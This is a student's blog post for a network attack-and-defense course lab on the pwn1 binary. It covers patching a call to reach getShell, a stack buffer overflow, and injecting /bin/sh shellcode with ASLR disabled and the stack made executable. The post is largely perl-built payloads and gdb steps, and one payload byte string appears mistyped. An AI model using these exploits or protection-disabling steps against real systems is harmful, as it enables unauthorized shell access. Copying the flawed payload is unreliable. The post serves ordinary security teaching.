20211907 刘昌赫 2021-2022-2 《网络攻防实践》第9次作业

实践目标

本次实践的对象是一个名为pwn1的linux可执行文件。
该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。
三个实践内容如下:
手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
注入一个自己制作的shellcode并运行这段shellcode。

实践过程
修改可执行文件

首先我们打开kali,输入命令: objdump -d /home/kali/桌面/pwn1 | more来对pwn1(云班课)进行反汇编操作:

如下图,分别展示了它的getshell、foo与main函数相关信息

如图,可看到在main函数中按顺序进行到call处时,就会调用函数foo,这时EIP指向地址80484ba+ffffffd7=8048491。我们想要让函数跳转到GetShell上,需要替换掉ffffffd7,因为:804847d-80484ba=ffffffc3,所以,我们把0xffffffd7替换成0xffffffc3就可以了。
现在输入命令:vi pwn1来用vi打开pwn1:

结果发现全是乱码,按下ESC退出编辑模式,再输入命令":%!xxd",切换为16进制模式。

现在我们要找d7,输入:/d7,来进行定位,

发现正好第一个d7就是要找的e8d7ffffff,所以直接把d7替换成c3;再使用:%!xxd -r返回,然后保存并退出。
再次对pwn1进行发汇编,发现主函数call的对象成果转变成了getShell,如下所示。

这时候再运行一下试试,发现pwn1就是调用shell指令了。

利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。

先对pwn1 进行反编译,查看它的foo函数

观察上图的汇编代码,发现它调用foo函数后给输入的数据分配了大小为节(0x1c)的缓冲区
输入命令"perl -e'print"12345678902234567890323456789042\x7d\x84\x04\x08\x0a"' > input"来构建input文件。
之后输入“(cat input; cat) | ./ home/kali/桌面/pwn1”,来input文件注入到pwn1中
如下图,我们看到成功启动了Shell,说明攻击成功

注入一个自己制作的shellcode并运行这段shellcode

先输入apt-get install prelink来安装相关配套软件。
之后输入下列命令:
execstack -s pwn1(设置堆栈可执行)
execstack -q pwn1(查询文件的堆栈是否可执行)
more /proc/sys/kernel/randomize_va_space(查看地址随机化的状态)
echo "0" > /proc/sys/kernel/randomize_va_space(关闭地址随机化)

我们的构造方法是retaddr+nop+shellcode,就是把shellode放到缓冲区后边。
shellcode“\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80”
再输入命令:perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode 生成input文件
再输入命令:(cat input_shellcode;cat) | ./pwn1,把input_shellcode注入pwn1
使用:ps -ef | grep pwn1找到它的进程号码:80278

再输入命令gdb打开gdb对pwn1进行调试。然后输入指令attach 80278查看进程
再输入命令"disassemble foo"对foo函数进行反编译,找到应放置断点的位置,把断点放到ret之前。再输入命令"break *0x080484ae"以此设置断点。

之后,刚才运行pwn1的终端中按下回车继续执行程序。gdb中输入指令"c",继续执行。

这时候发现程序中断了,再输入命令"info r esp"查找栈顶指针所在的位置,并看到地址存放的数据为:0xffffcd50。

输入指令"x/16x 0xffffcd50"查看存放内容。其中的0x01020304,就是返回地址的位置。根据input_shellcode可以知道,shellcode就在其后(+4)。
输入:perl -e 'print "A" x 32;print "\xb0\xd5\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x67x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x0a"' > input_shellcode”
重新构造input,再把它注入到pwn1中。

学习中遇到的问题及解决

Gdb的时候总是无法显示出来
解决方法:看了下原来是自己没同时开两个终端,只开了一个,导致实验失败,改正后就好了。

posted @ 2022-05-14 16:18  lch99722  阅读(52)  评论(0编辑  收藏  举报